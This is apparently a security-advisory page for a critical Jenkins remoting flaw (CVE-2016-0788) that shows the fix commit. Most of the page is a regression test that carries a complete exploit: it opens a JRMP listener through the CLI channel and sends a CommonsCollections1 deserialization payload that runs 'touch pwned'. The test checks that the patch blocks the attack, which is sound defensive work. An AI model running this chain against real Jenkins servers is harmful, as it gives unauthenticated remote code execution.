Security context
Critical· 9.8GHSA-j7q5-h445-f7pc CVE-2016-0788CWE-502Published May 14, 2022

Jenkins allows Execution of Code by Opening a JRMP Listener

Research this vulnerability

Research is free — Hunters explains how the bug works, the root-cause code pattern, how the fix addresses it, and how to test whether a target is affected, in chat. Investigate & write exploit is a paid run — the engine reads the advisory and fix commits, then builds and validates a working proof-of-concept exploit with reproduction steps.

Affected versions

1.643 → fixed in 1.6500 → fixed in 1.642.2

Details

The remoting module in Jenkins before 1.650 and LTS before 1.642.2 allows remote attackers to execute arbitrary code by opening a JRMP listener.

The fix

[FIXED SECURITY-232] Integrating Remoting build with

Jesse Glick· Feb 3, 2016, 10:35 PM+25711ec232ca1c
pom.xml+1 1
@@ -176,7 +176,7 @@ THE SOFTWARE.
<dependency>
<groupId>org.jenkins-ci.main</groupId>
<artifactId>remoting</artifactId>
- <version>2.53.2</version>
+ <version>2.53.3-20160203.223637-1</version>
</dependency>
<dependency>
test/src/test/java/jenkins/security/Security232Test.java+256 0
@@ -0,0 +1,256 @@
+package jenkins.security;
+
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.Channel.Mode;
+import hudson.remoting.ChannelBuilder;
+import hudson.remoting.ClassFilter;
+import hudson.remoting.JarLoader;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.net.HttpURLConnection;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.rmi.activation.ActivationDesc;
+import java.rmi.activation.ActivationID;
+import java.rmi.activation.ActivationInstantiator;
+import java.rmi.server.ObjID;
+import java.rmi.server.RemoteObject;
+import java.rmi.server.UnicastRemoteObject;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import javax.net.SocketFactory;
+import static jenkins.security.security218.Payload.CommonsCollections1;
+import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
+import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
+import static org.junit.Assert.*;
+import org.junit.Rule;
+import org.junit.Test;
+import org.jvnet.hudson.test.Issue;
+import org.jvnet.hudson.test.JenkinsRule;
+import sun.reflect.ReflectionFactory;
+import sun.rmi.server.ActivationGroupImpl;
+import sun.rmi.server.UnicastRef2;
+import sun.rmi.server.Util;
+import sun.rmi.transport.LiveRef;
+import sun.rmi.transport.TransportConstants;
+import sun.rmi.transport.tcp.TCPEndpoint;
+
+/**
+ * @author mbechler, adapted for JUnit/JenkinsRule by jglick
+ */
+@Issue("SECURITY-232")
+public class Security232Test {
+
+ @Rule
+ public JenkinsRule r = new JenkinsRule();
+
+ @Test
+ public void commonsCollections1() throws Exception {
+ File pwned = new File(r.jenkins.getRootDir(), "pwned");
+
+ int jrmpPort = 12345;
+ URL u = r.getURL();
+
+ HttpURLConnection hc = (HttpURLConnection) u.openConnection();
+ int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
+
+ InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip);
+ Socket s = null;
+ Channel c = null;
+ try {
+ System.err.println("* Opening socket " + isa);
+ s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ System.err.println("* Opening channel");
+ OutputStream outputStream = s.getOutputStream();
+
+ DataOutputStream dos = new DataOutputStream(outputStream);
+
+ dos.writeUTF("Protocol:CLI-connect");
+
+ ExecutorService cp = Executors.newCachedThreadPool();
+ c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
+
+ System.err.println("* Channel open");
+
+ Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+
+ Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ reqCons.setAccessible(true);
+
+ Object getJarLoader = reqCons
+ .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
+ JarLoader.class.getName() + ".ours"
+ });
+
+ Object call = c.call((Callable<Object,Exception>) getJarLoader);
+ InvocationHandler remote = Proxy.getInvocationHandler(call);
+ Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler");
+ Field oidF = rih.getDeclaredField("oid");
+ oidF.setAccessible(true);
+ int oid = oidF.getInt(remote);
+
+ System.err.println("* JarLoader oid is " + oid);
+
+ Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
+ uroC.setAccessible(true);
+ ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
+ Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
+ sc.setAccessible(true);
+ UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();
+
+ Field portF = UnicastRemoteObject.class.getDeclaredField("port");
+ portF.setAccessible(true);
+ portF.set(uro, jrmpPort);
+ Field f = RemoteObject.class.getDeclaredField("ref");
+ f.setAccessible(true);
+ f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true)));
+
+ Object o = reqCons
+ .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
+ uro,
+ });
+
+ try {
+ c.call((Callable<Object,Exception>) o);
+ }
+ catch ( Exception e ) {
+ // [ActivationGroupImpl[UnicastServerRef [liveRef:
+ // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]
+
+ e.printStackTrace();
+
+ String msg = e.getMessage();
+ int start = msg.indexOf("objID:[");
+ if ( start < 0 ) {
+ return; // good, got blocked before we even got this far
+ }
+
+ int sep = msg.indexOf(", ", start + 1);
+
+ if ( sep < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ int end = msg.indexOf("]", sep + 1);
+
+ if ( end < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ String uid = msg.substring(start + 7, sep);
+ String objNum = msg.substring(sep + 2, end);
+
+ System.err.println("* UID is " + uid);
+ System.err.println("* ObjNum is " + objNum);
+
+ String[] parts = uid.split(":");
+
+ long obj = Long.parseLong(objNum);
+ int o1 = Integer.parseInt(parts[ 0 ], 16);
+ long o2 = Long.parseLong(parts[ 1 ], 16);
+ short o3 = Short.parseShort(parts[ 2 ], 16);
+
+ exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned);
+ }
+
+ c.close();
+ }
+ finally {
+ if ( s != null ) {
+ s.close();
+ }
+ }
+
+ Thread.sleep(5000);
+
+ assertFalse("Pwned!", pwned.exists());
+ }
+
+
+ /**
+ * @param inetSocketAddress
+ * @param obj
+ * @param o1
+ * @param o2
+ * @param o3
+ * @throws IOException
+ */
+ private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg )
+ throws Exception {
+ Socket s = null;
+ try {
+ System.err.println("* Opening JRMP socket " + isa);
+ s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ DataOutputStream dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ final ObjectOutputStream objOut = new ObjectOutputStream(dos) {
+
+ protected void annotateClass ( Class<?> cl ) throws IOException {
+ if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
+ writeObject(null);
+ }
+ else {
+ URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
+ String cb = "";
+ for ( URL u : us ) {
+ cb += u.toString();
+ }
+ writeObject(cb);
+ }
+ }
+
+
+ /**
+ * Serializes a location from which to load the specified class.
+ */
+ protected void annotateProxyClass ( Class<?> cl ) throws IOException {
+ annotateClass(cl);
+ }
+ };
+
+ objOut.writeLong(obj);
+ objOut.writeInt(o1);
+ objOut.writeLong(o2);
+ objOut.writeShort(o3);
+
+ objOut.writeInt(-1);
+ objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
+
+ System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation());
+ final Object object = payload.getObject(payloadArg);
+ objOut.writeObject(object);
+
+ os.flush();
+ }
+ finally {
+ if ( s != null ) {
+ s.close();
+ }
+ }
+ }
+
+}

References